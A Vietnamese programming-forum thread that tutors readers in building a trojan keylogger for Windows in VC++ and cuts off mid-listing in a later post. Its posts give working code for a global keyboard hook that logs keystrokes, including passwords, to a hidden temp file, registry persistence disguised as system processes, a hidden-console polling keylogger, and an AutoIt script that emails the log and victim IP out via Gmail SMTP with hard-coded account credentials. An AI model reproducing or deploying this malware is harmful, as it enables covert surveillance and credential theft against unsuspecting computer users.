Chào mừng đến với Diễn đàn lập trình - Cộng đồng lập trình.
Trang 1 của 2 12 CuốiCuối
Kết quả 1 đến 10 của 11
  1. #1
    Ngày tham gia
    Sep 2015
    Bài viết
    0

    Hướng Dẫn Lập Trình Trojan Trên VC++

    Trojan là 1 phần mềm gián điệp dùng để theo dõi hoạt động của 1 người trên máy tính của họ
    Công cụ viết :

    1)VC++6.0 Tất nhiên là Visual C++ rồi,ở đây mình chọn VC++6.0 dơn giản gọn nhẹ rất thích hợp với những project Win32API thế này
    2)Virtual PC 2007 1 máy ảo để có thể kiểm tra được két quả của mình ở đây mình chọn phần mềm miễn phí
    3) MSDNcuốn từ điển quý giá cho những ai yêu thích lập trình windows MSDN bản mới nhất là bản 2008 nhé
    4) visual Assist công cụ hỗ trợ gõ code rất tốt

    Muốn viết trojan bắt buộc ta phải tìm hiểu về Hook,vậy Hook là gì???
    Trong Windows, khi chúng ta thực hiện các thao tác nhấp chuột, nhấn phím… thì hệ điều hành sẽ chuyển các sự kiện này thành các thông điệp (message) rồi đưa vào hàng đợi (queue) của hệ thống. Sau đó, các thông điệp được trao lại cho từng ứng dụng cụ thể để xử lý.

    Hook là một kỹ thuật cho phép một hàm có thể chặn, theo dõi, xử lý, hoặc hủy bỏ các thông điệp trước khi chúng “mò” đến được ứng dụng.
    Vậy ta cần Hook để làm gì??
    Chúng ta cần Hook để bắt các phím khi victim sử dụng chúng,và lưu lại trên 1 File ,và cuối cùng sử dụng phương thức gửi mail qua SMTP để gửi File đó đến ta [IMG]images/smilies/biggrin.png[/IMG]
    bắt đầu Hook thôi

    Muốn làm trojan bắt buộc chúng ta sẽ phải Hook toàn cục hệ thống
    ở đây Mình chỉ xin bàn đến Hook bàn phím thôi nhé
    đầu tiên,để cài đặt Hook ta cần phải có hàm SetWindowsHookEx, CallNextHookEx, UnhookWindowsHookEx,và cuối cùng là 1 hàm CALLBACK dùng để lọc các thông tin nhận được từ các thông điệp
    <font color="Red">
    hàm SetWindowsHookEx dùng để cài đặt Hook

    đọc ở ms-help://MS.MSDNQTR.v90.en/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.htm trong CD MSDN


    Mã:
    HHOOK SetWindowsHookEx(    int idHook,    HOOKPROC lpfn,    HINSTANCE hMod,    DWORD dwThreadId);
    Ý nghĩa từng tham số
    1) tham số int idHook</font>
    Xác định loại hook mà ta muốn cài đặt, tham số này có thể là một trong các giá trị sau :

    • WH_CALLWNDPROC : đặt một thủ tục hook quản lý các thông điệp trước lúc hệ thống gởi chúng tới cửa sổ đích.

    • WH_CALLWNDPROCRET : đặt một thủ tục hook quản lý các thông điệp sau khi chúng được xử lý bởi thủ tục cửa sổ đích.

    • WH_CBT : đặt một thủ tục hook nhận những thông báo có ích tới ứng dụng huấn luyện trên cơ sở tính toán (CBT).

    • WH_DEBUG :đặt một thủ tục hook có ích cho việc debug những thủ tục hook khác.

    • WH_FOREGROUNDIDLE : đặt một thủ tục hook sẽ được gọi khi thread foreground của ứng dụng sẽ trở thành không dùng đến. Hook này có ích cho hoạt động những nhiệm vụ (task) độ ưu tiên thấp trong thời gian không được dùng đến.

    • WH_GETMESSAGE : đặt một thủ tục hook quản lý các thông điệp được post tới hàng đợi thông điệp.

    •WH_JOURNALPLAYBACK : đặt một thủ tục hook post những thông điệp được ghi trước đó bởi thủ tục hook WH_JOURNALRECORD.

    •WH_JOURNALRECORD : đặt một thủ tục hook ghi những thông điệp đầu vào được post tới hàng thông điệp hệ thống. Hook này có ích cho việc ghi các macro.

    • WH_KEYBOARD : đặt một thủ tục hook quản lý các thông điệp keystroke.

    • WH_MOUSE :đặt một thủ tục hook quản lý các thông điệp chuột.

    • WH_MSGFILTER: đặt một thủ tục hook quản lý các thông điệp được kết sinh như là một kết quả cuả sự kiện đầu vào ở trong dialog box, message box, menu hay scroll bar.

    • WH_SYSMSGFILTER : đặt một ứng dụng các thông điệp được kết sinh như là kết quả của một sự kiện đầu vào ở trong dialog box, message box, menu hay scroll bar. Thủ tục hook quản lý những thông điệp này cho tất cả các ứng dụng trong hệ thống.

    Do ta chỉ Hook bàn phím nên ta chọn • WH_KEYBOARD nhé

    2 ) tham số lpfn : Địa chỉ của Filter Function mà ta muốn gắn với hook.( các bạn gán tên của hàm lọc vào tham số này nhé )

    3) Tham số hMod : Handle của module chứa Filter Function. Nếu ta cài đặt một hook cục bộ (nghĩa là sự thực thi của Filter Function chỉ ảnh hưởng đối với tiến trình cài đặt hook), tham số này phải là NULL. Còn nếu chúng ta muốn có một hook với phạm vi toàn hệ thống (tức là mọi tiến trình đang hiện hữu đều chịu ảnh hưởng bởi Filter Function của chúng ta), tham số này sẽ là Handle của DLL chứa Filter Function.
    ở trong trường hợp này,có 2 cách để gọi đến handle của Hàm lọc
    cách thứ nhất là dùng GetModuleHandle để lấy địa chỉ của File DLL chứa hàm lọc
    với MFC ta có thể sử dụng hàm ::AfxGetInstanceHandle() để lấy handle của File chứa hàm lọc nhé

    4) Tham số dwThreadID : Định danh của thread ứng với hook đang được cài đặt . Nếu tham số này là một số khác 0, Filter Function được gắn với hook chỉ được gọi trong ngữ cảnh của một thread xác định. Còn nếu dwThreadID = 0, Filter Function sẽ có phạm vi toàn hệ thống, và dĩ nhiên, nó sẽ được gọi trong ngữ cảnh của bất kỳ thread nào đang tồn tại trên HĐH. Có thể sử dụng hàm GetCurrentThreadId để lấy được handle của thread muốn cài đặt hook.
    hàm CallNextHookEx để gọi đến hàm kế tiếp trong chuỗi các hàm Lọc
    Đọc thêm MSDN ở đây ms-help://MS.MSDNQTR.v90.en/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/callnexthookex.htm

    Mã:
    LRESULT CallNextHookEx(    HHOOK hhk,    int nCode,    WPARAM wParam,    LPARAM lParam);
    Với ý nghĩa từng tham số
    hhk : là handle của hook hiện hành, giá trị này có thể lấy được từ hàm SetWindowsHookEx khi cài đặt hook.

    nCode :
    chỉ định hook code để gởi đến hook kế tiếp. Hàm xử lý hook dùng giá trị này để chỉ định xử lý thông điệp được gởi từ hook như thế nào .

    <font color="Navy">wParam:
    chỉ định 16 bits thông tin mở rộng của thông điệp.

    lParam: chỉ định 32 bits thông tin mở rộng của thông điệp.

    Giá trị trả về : giá trị trả về là kết quả của quá trình xử lý và tùy thuộc vào thông số nCode

    Trong một số tình huống, Filter Function hiện hành có thể không muốn chuyển sự kiện cho Filter Function khác trong cùng một chuỗi. Lúc này, nếu loại hook chúng ta đang cài đặt cho phép huỷ bỏ sự kiện, và Filter Function của chúng ta cũng có cùng quyết định là hủy bỏ, nó sẽ không phải gọi hàm CallNextHookEx.

    Hàm lọc ( Filter Function ) để sử lý các thông tin bắt được
    Hàm lọc là hàm dùng để sử lý các sự kiện mà ta bắt được,vì lý do đó nên hàm lọc bắt buộc phải là hàm CALLBACK
    Bất kỳ 1 hàm lọc nào cũng phải tuan theo cú pháp sau:

    Mã:
    LRESULT CALLBACK Tên_hàm_lọc(int nCode, WPARAM wParam, LPARAM lParam);
    Với tên_hàm_lọc là do bạn tùy chọn

    Ý nghĩa của từng tham số truyền cho hàm :

    <font color="Navy">nCode :
    tham số này thường được gọi là “hook code”, Filter Function sử dụng giá trị này để quyết định cách thức xử lý đối với sự kiện. Giá trị của hook code tùy thuộc vào từng loại hook cụ thể, và mỗi loại hook sẽ có tập hợp những giá trị hook code đặc trưng của riêng mình. Có một quy luật mà dường như các Filter Function của mọi loại hook cần tuân thủ : Khi Windows truyền cho hàm giá trị hook code âm, Filter Function không được xử lý sự kiện mà phải gọi hàm CallNextHookEx với chính những tham số mà hệ điều hành truyền cho nó. Sau đó, nó phải trả về giá trị được trả về bởi hàm CallNextHookEx.

    wParam, lParam: Đây là những thông tin cần thiết cho Filter Function trong quá trình xử lý sự kiện. Các giá trị này sẽ có ý nghĩa khác nhau tuỳ thuộc vào từng loại hook. Ví dụ , Filter Function gắn với hook WH_KEYBOARD sẽ nhận mã phím ảo (Virtual-Key Code) từ wParam, đồng thời có được từ lParam thông tin mô tả trạng thái của bàn phím khi sự kiện gõ phím xảy ra.

    còn tiếp </font></font>

  2. #2
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Hook toàn cục
    Muốn Hook toàn cục ta chia ra làm 2 File,1 File DLL chứa hàm lọc và được export ra,1 File exe chứa hàm cài đặt Hook và import hàm lọc
    [PHP]trước hết các bạn cần biết cách tạo 1 File DLL,nếu chưa biết có thể đọc hướng dẫn thêm tại đây Cách tạo thư viện DLL trong VC++ 6.0
    File DLL có tên là DLL.dll nhé

    Mã:
    #include <windows.h>#include <fstream>using namespace std; #ifdef _DEBUG#define new DEBUG_NEW#undef THIS_FILEstatic char THIS_FILE[] = __FILE__;#endif  #pragma data_seg(".SHARDAT") char *SaveFile(){    char s[255];    static char pth[255];    GetTempPath(255,pth);    lstrcpy(s,"keylog.txt");    lstrcat(pth,s);    return pth;} //Mo Filefstream File;//khai bao File LRESULT _stdcall CALLBACK LowLevelKeyboardProc( int nCode, WPARAM wParam, LPARAM lParam ){    char ch,chuoi[20];    if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))  /eu ban an phim    {        if ((wParam==VK_LEFT )|| (wParam==VK_HOME )|| (wParam==VK_END )||(wParam==VK_NEXT )||(wParam==VK_UP)|| (wParam==VK_RIGHT)||(wParam==VK_DOWN)||(wParam==VK_DELETE)||(wParam==VK_LBUTTON)||(wParam==VK_RBUTTON )||(wParam==VK_MENU)||(wParam==VK_CANCEL )||(wParam==VK_CONTROL)||(wParam==VK_SHIFT)||(wParam==VK_SPACE)||(wParam==VK_RETURN)||((wParam>=0x2f ) &&(wParam<=0x100))||(wParam==VK_TAB)||(wParam==VK_CLEAR)||(wParam==VK_BACK))        // ghi chu VK_RETURN : ENTER , VK_TAB : tab ,day la ma phim ao chi tiet doc         // ms-help://MS.MSDNQTR.v90.en/winui/winui/WindowsUserInterface/UserInput/VirtualKeyCodes.htm        {            File.open(SaveFile(),ios::out|ios::app);            if (wParam==VK_RETURN)  /eu la phim Enter thi xuong dong            {                 ch = '
    ';//gan ky tu xuong dong                 File.write(&ch,sizeof(ch)); //ghi ra             }            else if (wParam==VK_TAB)  /eu la dau TAB             {                lstrcpy(chuoi,"{TAB}");                File<<chuoi;  //ghi ra nit TAB de Biet khi danh password :D            }               else if (wParam==VK_CLEAR)            {                lstrcpy(chuoi,"{CLEAR}");                File<<chuoi;             }            else if (wParam==VK_BACK)            {                   lstrcpy(chuoi,"{BACK}");  /eu xoa thi bao 1 tieng,de phong luc danh password sai ho danh lai                File<<chuoi;             }            else if(wParam==VK_SPACE)            {                lstrcpy(chuoi," ");  // nut cach                 File<<chuoi;             }            else if (wParam==VK_SHIFT)            {                lstrcpy(chuoi,"{SHIFT}");  // shift                 File<<chuoi;             }            else if (wParam==VK_CONTROL)            {                lstrcpy(chuoi,"{CONTROL}");  // nut control                File<<chuoi;             }            else if (wParam==VK_LEFT )            {                lstrcpy(chuoi,"{<-}");  // nut sang trai                 File<<chuoi;             }            else if (wParam==VK_HOME  )            {                lstrcpy(chuoi,"{Home}");  // nut Home                File<<chuoi;             }            else if (wParam==VK_END )            {                lstrcpy(chuoi,"{END}");  //                File<<chuoi;             }            else if ((wParam==VK_NEXT ))            {                lstrcpy(chuoi,"{PAGEDOWN}");  //                File<<chuoi;             }            else if ((wParam==VK_UP) )            {                lstrcpy(chuoi,"{MuiTenXuong}");  //                File<<chuoi;             }            else if ((wParam==VK_RIGHT))            {                lstrcpy(chuoi,"{->}");  //                File<<chuoi;             }            else if ((wParam==VK_DOWN))            {                lstrcpy(chuoi,"{MuiTenXuong}");  //                File<<chuoi;             }            else if ((wParam==VK_DELETE))            {                lstrcpy(chuoi,"{Delete}");  //                File<<chuoi;             }            else if ((wParam==VK_LBUTTON))            {                lstrcpy(chuoi,"{ChuotTrai}");  //                File<<chuoi;             }            else if ((wParam==VK_RBUTTON ))            {                lstrcpy(chuoi,"{ChuotPhai}");  //                File<<chuoi;             }            else if ((wParam==VK_MENU))            {                lstrcpy(chuoi,"{ALT}");  //                File<<chuoi;             }            else if ((wParam==VK_CANCEL ))            {                lstrcpy(chuoi,"{Break}");  //                File<<chuoi;             }            else if(wParam>=0x30&&wParam<= 0x5A)  /eu la cac nut tu 0 --> 9 hoac tu a -> Z            {                 BYTE ks[256];                   GetKeyboardState(ks);  //lay ma Nut bamso                 WORD w;                 UINT scan;                 scan=0;                 ToAscii(wParam,scan,ks,&w,0);  //chuyen ma nut bam ra ma Ascii                 ch = char(w);                 File.write(&ch,sizeof(ch));//ghi ra File cac chu cai tim duoc            }            //khong ghi lai cac nut khac khong lien quan den viec danh password            File.close();//dong File,tiep tuc chu trinh( moi khi bam 1 phim lai mo File )        }    }    LRESULT RetVal = CallNextHookEx( NULL, nCode, wParam, lParam );  //call back tiep tuc    return RetVal;}
    hàm SaveFile() là để mình lấy đường dẫn là File Temp của windows,Folder này nổi tiếng lắm File linh tinh nên mình cho trojan vào đây cho nạn nhân khó tìm [IMG]images/smilies/biggrin.png[/IMG]

    Mã:
    char *SaveFile(){    char s[255];    static char pth[255];    GetTempPath(255,pth);    lstrcpy(s,"keylog.txt");    lstrcat(pth,s);    return pth;}
    Mình lưu keylog.txt vào File Temp đó

    tiếp đến là hàm Lọc,hàm lọc mình sử lý việc gõ bàn phím,cứ gõ phím nào mình lập tức chuyển nó sang kiểu ký tự và ghi ra File ở đây xin mọi người chú ý cho là mình chỉ lọc những phím quan trọng cho soạn thảo văn bản và gõ password thôi nên không thể sử dụng hàm GetkeyNameText được mà phải sử dụng hàm GetKeyboardState để thu nhận từng ma phím ảo của phím



    Mã:
                else if(wParam>=0x30&&wParam<= 0x5A)  /eu la cac nut tu 0 --> 9 hoac tu a -> Z            {                 BYTE ks[256];                   GetKeyboardState(ks);  //lay ma Nut bamso                 WORD w;                 UINT scan;                 scan=0;                 ToAscii(wParam,scan,ks,&w,0);  //chuyen ma nut bam ra ma Ascii                 ch = char(w);                 File.write(&ch,sizeof(ch));//ghi ra File cac chu cai tim duoc            }
    nếu là các ký tự từ A--> z và 0-->9 trên bàn phím thì ta ghi trực tiếp ra

    File chứa hàm cài đặt Hook
    File này phải gọi hàm LowLevelKeyboardProc trong thư viện DLL.dll

    Mã:
    #include <windows.h>#include<fstream>using namespace std; char *SaveFile(){    char s[255];    static char pth[255];    GetTempPath(255,pth);    lstrcpy(s,"keylog.txt");    lstrcat(pth,s);    return pth;} // ham loc cua Hookint WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd ){    // lay dia chi Hook cho moi ung dung    typedef LRESULT (CALLBACK *controdiachi)(int, WPARAM,LPARAM);    HINSTANCE thuvien;    thuvien = LoadLibrary("DLL.dll");    controdiachi LowLevelKeyboardProc;    if (thuvien == NULL)    {        return 0;    }        LowLevelKeyboardProc = (controdiachi)GetProcAddress(thuvien, "LowLevelKeyboardProc");    if (LowLevelKeyboardProc == NULL)    {        return 0;    }         /////////////  xoa sach File cu di de viet File moi vao    fstream File;     File.open(SaveFile(),ios::out);     File.close();       ////////////////////////////sau khi xoa xong thi dong FIle lai    HMODULE appInstance = GetModuleHandle("DLL.DLL");                    // Set a global Windows Hook to capture keystrokes    SetWindowsHookEx( WH_KEYBOARD, LowLevelKeyboardProc, appInstance, 0 );    ////////////////////han thong tin tu nguoi dung    MSG msg;//    while(GetMessage(&msg, NULL, 0, 0) != FALSE)    {        TranslateMessage(&msg);        DispatchMessage(&msg);    }    FreeLibrary(thuvien);    return 0;}
    tiếp theo là phần khởi động lại cùng máy tính
    mình cung cấp đoạn code này để Trojan có thể khởi động lại cùng máy tính,chỉ việc copy hàm này vào và gọi nó là được

    Mã:
    void khoidong(){        HKEY hkey;        RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",0,KEY_ALL_ACCESS,&hkey);        RegSetValueEx(hkey,"System",NULL,REG_SZ,(unsigned char*)"C:\\WINDOWS\\system32\\lsas.exe",strlen("C:\\WINDOWS\\system32\\lsas.exe")+1);        RegCloseKey(hkey);}
    với File cần khởi động lại có tên là C:\\WINDOWS\\system32\\lsas.exe--> đây sẽ là tên con trojan của ta nhé


    rất tiếc là tại thời điểm hiện tại mình chưa gửi Mail bằng VC++ được,chỉ có thể dùng tạm ngu kiến AutoIT để làm việc này,nếu ai quan tâm thì có thể xem code

    Mã:
    #Include<file.au3>#include <Inet.au3>$PublicIP = _GetIP()  ; lay dia chi IP cua ban Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc");##################################; Include;###################################Include<file.au3>#Include<array.au3>;##################################; Variables;##################################Dim $array$s_SmtpServer = "smtp.gmail.com"                             ; dia chi SMTP $s_FromName = "virusbom12"                           ; ten cua Nick tren dia chi ( lay FistName neu la Gmail.com$s_FromAddress = "virusbom12@gmail.com"                 ;  day la dia chi mail Nguoi Gui $s_ToAddress = "lai_tathieu@yahoo.com"           ; dia chi Mail nguoi nhan $s_Subject = @ComputerName                                      ; tieu de cua Mail ,o da minh lay la ten may tinh $as_Body = "dia chi IP Hien Tai Cua May Tinh Co Ten " &@ComputerName & " LA: "& $PublicIP                 ; day la noi dung Text cua Main ,o day minh lay la ten may tinh va dia chi IP cua ban$array = "C:\csb.txt"  ; cai nay anh em de gui file nhe$s_CcAddress = ""                    ; address for cc - leave blank if not needed$s_BccAddress = ""                   ; address for bcc - leave blank if not needed$s_Username = "virusbom12@gmail.com"                        ; danh lai dia chi  mail gui cua ban ( neu la Gmail)$s_Password = "virusvn1989"                           ; danh password mail gui cua ban( de tu dong gui mail ma$IPPort = 465                                       ; port 465 cua Gmail $ssl = 1                                                          ;  ;##################################; Script;##################################Global $oMyRet[2]Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc") ; day la ham Gui Mail _INetSmtpMailCom$rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $array, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)If @error Then    MsgBox(0, "Error sending message", "Error code:" & @error & "  Description:" & $rc)EndIf; Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $array = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "",$IPPort=25, $ssl=0)    $objEmail = ObjCreate("CDO.Message")    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'    $objEmail.To = $s_ToAddress    Local $i_Error = 0    Local $i_Error_desciption = ""    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress    $objEmail.Subject = $s_Subject    If StringInStr($as_Body,"<") and StringInStr($as_Body,">") Then        $objEmail.HTMLBody = $as_Body    Else        $objEmail.Textbody = $as_Body & @CRLF    EndIf    If $array <> "" Then        ;Local $array = StringSplit($array, ";")            $array= _PathFull ($array)            If FileExists($array) Then                $objEmail.AddAttachment ($array)            Else                $i_Error_desciption = $i_Error_desciption & @lf & 'File not found to attach: ' & $array                SetError(1)                return 0            EndIf    EndIf    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort;Authenticated SMTP    If $s_Username <> "" Then        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password    EndIf    If $Ssl Then        $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True    EndIf;Update settings    $objEmail.Configuration.Fields.Update; Sent the Message    $objEmail.Send    if @error then        SetError(2)        return $oMyRet[1]    EndIfEndFunc ;==>_INetSmtpMailCom;;; Com Error HandlerFunc MyErrFunc()    $HexNumber = Hex($oMyError.number, 8)    $oMyRet[0] = $HexNumber    $oMyRet[1] = StringStripWS($oMyError.description,3)    ConsoleWrite("### COM Error !  Number: " & $HexNumber & "   ScriptLine: " & $oMyError.scriptline & "   Description:" & $oMyRet[1] & @LF)    SetError(1); something to check for when this function returns    ReturnEndFunc ;==>MyErrFunc

  3. #3
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    các bạn cũng có thể Làm được keylog mà không cần phải biết đến kỹ thuật Hook ^^!, nhưng nếu học xong C mà không biết Hook thì .... hơi phí hơn nữa,sử dụng kỹ thuật Hook giúp ta tiếc kiệm bộ nhớ hơn là phương pháp liên tục kiểm tra bằng vòng lặp vô cùng

    Phương pháp Kiểm tra bàn phím bằng vòng lặp vô cùng


    Mã:
    #include <windows.h>#include <stdio.h>#include <winuser.h>#include <windowsx.h> #define BUFSIZE 80 int test_key(void);int create_key(char *);int get_keys(void);  int main(void){    HWND stealth;    AllocConsole();    stealth=FindWindowA("ConsoleWindowClass",NULL);    ShowWindow(stealth,0);     int test,create;    test=test_key();     if (test==2)    {        char *path="c:\\%windir%\\svchost.exe";        create=create_key(path);     }      int t=get_keys();     return t;}   int get_keys(void){    short character;    while(1)    {        Sleep(10);//tiec kiem CPU        for(character=8;character<=222;character++)        {            if(GetAsyncKeyState(character)==-32767)            {                    FILE *file;                file=fopen("svchost.log","a+");                if(file==NULL)                {                    return 1;                }                            if(file!=NULL)                {                            if((character>=39)&&(character<=64))                    {                        fputc(character,file);                        fclose(file);                        break;                    }                            else if((character>64)&&(character<91))                    {                        character+=32;                        fputc(character,file);                        fclose(file);                        break;                    }                    else                    {                         switch(character)                        {                        case VK_SPACE:                            fputc(' ',file);                            fclose(file);                            break;                            case VK_SHIFT:                            fputs("[SHIFT]",file);                            fclose(file);                            break;                                                                    case VK_RETURN:                            fputs("
    [ENTER]",file);                            fclose(file);                            break;                        case VK_BACK:                            fputs("[BACKSPACE]",file);                            fclose(file);                            break;                        case VK_TAB:                            fputs("[TAB]",file);                            fclose(file);                            break;                        case VK_CONTROL:                            fputs("[CTRL]",file);                            fclose(file);                            break;                            case VK_DELETE:                            fputs("[DEL]",file);                            fclose(file);                            break;                             /*case VK_OEM_PLUS:                            fputc('+',file);                            fclose(file);                            break;                            case VK_OEM_COMMA:                            fputc(',',file);                            fclose(file);                            break;                            case VK_OEM_MINUS:                            fputc('-',file);                            fclose(file);                            break;                            case VK_OEM_PERIOD:                            fputc('.',file);                            fclose(file);                            break;*/                        case VK_NUMPAD0:                            fputc('0',file);                            fclose(file);                            break;                        case VK_NUMPAD1:                            fputc('1',file);                            fclose(file);                            break;                        case VK_NUMPAD2:                            fputc('2',file);                            fclose(file);                            break;                        case VK_NUMPAD3:                            fputc('3',file);                            fclose(file);                            break;                        case VK_NUMPAD4:                            fputc('4',file);                            fclose(file);                            break;                        case VK_NUMPAD5:                            fputc('5',file);                            fclose(file);                            break;                        case VK_NUMPAD6:                            fputc('6',file);                            fclose(file);                            break;                        case VK_NUMPAD7:                            fputc('7',file);                            fclose(file);                            break;                        case VK_NUMPAD8:                            fputc('8',file);                            fclose(file);                            break;                        case VK_NUMPAD9:                            fputc('9',file);                            fclose(file);                            break;                        case VK_CAPITAL:                            fputs("[CAPS LOCK]",file);                            fclose(file);                            break;                        default:                            fclose(file);                            break;                        }                            }                    }                    }            }                       }    return EXIT_SUCCESS;                            }                                                  int test_key(void){    int check;    HKEY hKey;    char path[BUFSIZE];    DWORD buf_length=BUFSIZE;    int reg_key;     reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);    if(reg_key!=0)    {            check=1;        return check;    }             reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);     if((reg_key!=0)||(buf_length>BUFSIZE))        check=2;    if(reg_key==0)        check=0;     RegCloseKey(hKey);    return check;   } int create_key(char *path){       int reg_key,check;     HKEY hkey;     reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);    if(reg_key==0)    {        RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));        check=0;        return check;    }    if(reg_key!=0)        check=1;     return check;}
    sau đây là Project

  4. #4
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Tui nghe nói có một cách để đọc và gửi mail bằng Telnet cmd gõ Telnet.Tui đã tạo vào gửi được mail bằng Telnet này bằng mail của google bằng SMTP ... bạn vào google gõ Telnet nghiên cứu và làm code C gửi mail thử.

  5. #5
    Ngày tham gia
    Sep 2015
    Bài viết
    0
    Gửi Mail Bằng Gmail Và bắt Keylog:


    Mã:
    #include <windows.h>#include <stdio.h>#include <winuser.h>#include <windowsx.h>#include <time.h>int MailIt (char *mailserver, char *emailto, char *emailfrom,char *emailsubject, char *emailmessage);#define BUFsize 800#define waittime 500/*If you don't know the mail exchange server for an address for the following"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain forwhatever email address you want. YOU MUST CHANGE  THESE SETTINGS ORIT WILL NOT WORK!!! */#define cmailserver "gmail-smtp-in.l.google.com"#define cemailto "irong33k@gmail.com"#define cemailfrom "irong33k@gmail.com"#define LogLength 100#define FileName "sound.wav"#define SMTPLog "ring.wav"#define cemailsubject "Logged" int test_key(void);int main(void){//Uncomment the lines below to put the keylogger in stealh mode.HWND stealth; /*creating stealth */AllocConsole();stealth=FindWindowA("ConsoleWindowClass",NULL);ShowWindow(stealth,0); {FILE *file;file=fopen(FileName,"a+");time_t theTime=time(0);fputs("
    Started logging: ", file);fputs(ctime(&theTime),file);fclose(file);} /* if (test==2){//the path in which the file needs to bechar *path="c:\\%windir%\\svchost.exe";create=create_key(path);     } */ int t=get_keys();return t;} int get_keys(void){int freadindex;char *buf;long len;FILE *file;file=fopen(FileName,"a+");         short character;         while(1)         {                sleep(10);/*to prevent 100% cpu usage*/                for(character=8;character<=222;character++)                {                    if(GetAsyncKeyState(character)==-32767)                    {                        FILE *file;                        file=fopen(FileName,"a+");                        if(file==NULL)                        {                                return 1;                        }                               if(file!=NULL)                        {                                   if((character>=39)&&(character<=64))                                {                                      fputc(character,file);                                      fclose(file);                                      break;                                }                                   else if((character>64)&&(character<91))                                {                                      character+=32;                                      fputc(character,file);                                      fclose(file);                                      break;                                }                                else                                {                                    switch(character)                                    {                                          case VK_SPACE:                                          fputc(' ',file);                                          fclose(file);                                          break;                                          case VK_SHIFT:                                          fputs("
    [SHIFT]
    ",file);                                          fclose(file);                                          break;                                                                                 case VK_RETURN:                                          fputs("
    [ENTER]
    ",file);                                          fclose(file);                                          break;                                          case VK_BACK:                                          fputs("
    [BACKSPACE]
    ",file);                                          fclose(file);                                          break;                                          case VK_TAB:                                          fputs("
    [TAB]
    ",file);                                          fclose(file);                                          break;                                          case VK_CONTROL:                                          fputs("
    [CTRL]
    ",file);                                          fclose(file);                                          break;                                          case VK_DELETE:                                          fputs("
    [DEL]
    ",file);                                          fclose(file);                                          break;                                          case VK_OEM_1:                                          fputs("
    [;:]
    ",file);                                          fclose(file);                                          break;                                          case VK_OEM_2:                                          fputs("
    [/?]
    ",file);                                          fclose(file);                                          break;                                          case VK_OEM_3:                                          fputs("
    [`~]
    ",file);                                          fclose(file);                                          break;                                          case VK_OEM_4:                                          fputs("
    [ [{ ]
    ",file);                                          fclose(file);                                          break;                                          case VK_OEM_5:                                          fputs("
    [\\|]
    ",file);                                          fclose(file);                                          break;                                                                     case VK_OEM_6:                                          fputs("
    [ ]} ]
    ",file);                                          fclose(file);                                          break;                                          case VK_OEM_7:                                          fputs("
    ['\"]
    ",file);                                          fclose(file);                                          break;                                          case 187:                                          fputc('+',file);                                          fclose(file);                                          break;                                          case 188:                                          fputc(',',file);                                          fclose(file);                                          break;                                          case 189:                                          fputc('-',file);                                          fclose(file);                                          break;                                          case 190:                                          fputc('.',file);                                          fclose(file);                                          break;                                          case VK_NUMPAD0:                                          fputc('0',file);                                          fclose(file);                                          break;                                          case VK_NUMPAD1:                                          fputc('1',file);                                          fclose(file);                                          break;                                          case VK_NUMPAD2:                                          fputc('2',file);                                          fclose(file);                                          break;                                          case VK_NUMPAD3:                                          fputc('3',file);                                          fclose(file);                                          break;                                          case VK_NUMPAD4:                                          fputc('4',file);                                          fclose(file);                                          break;                                          case VK_NUMPAD5:                                          fputc('5',file);                                          fclose(file);                                          break;                                          case VK_NUMPAD6:                                          fputc('6',file);                                          fclose(file);                                          break;                                          case VK_NUMPAD7:                                          fputc('7',file);                                          fclose(file);                                          break;                                          case VK_NUMPAD8:                                          fputc('8',file);                                          fclose(file);                                          break;                                          case VK_NUMPAD9:                                          fputc('9',file);                                          fclose(file);                                          break;                                          case VK_CAPITAL:                                          fputs("
    [CAPS LOCK]
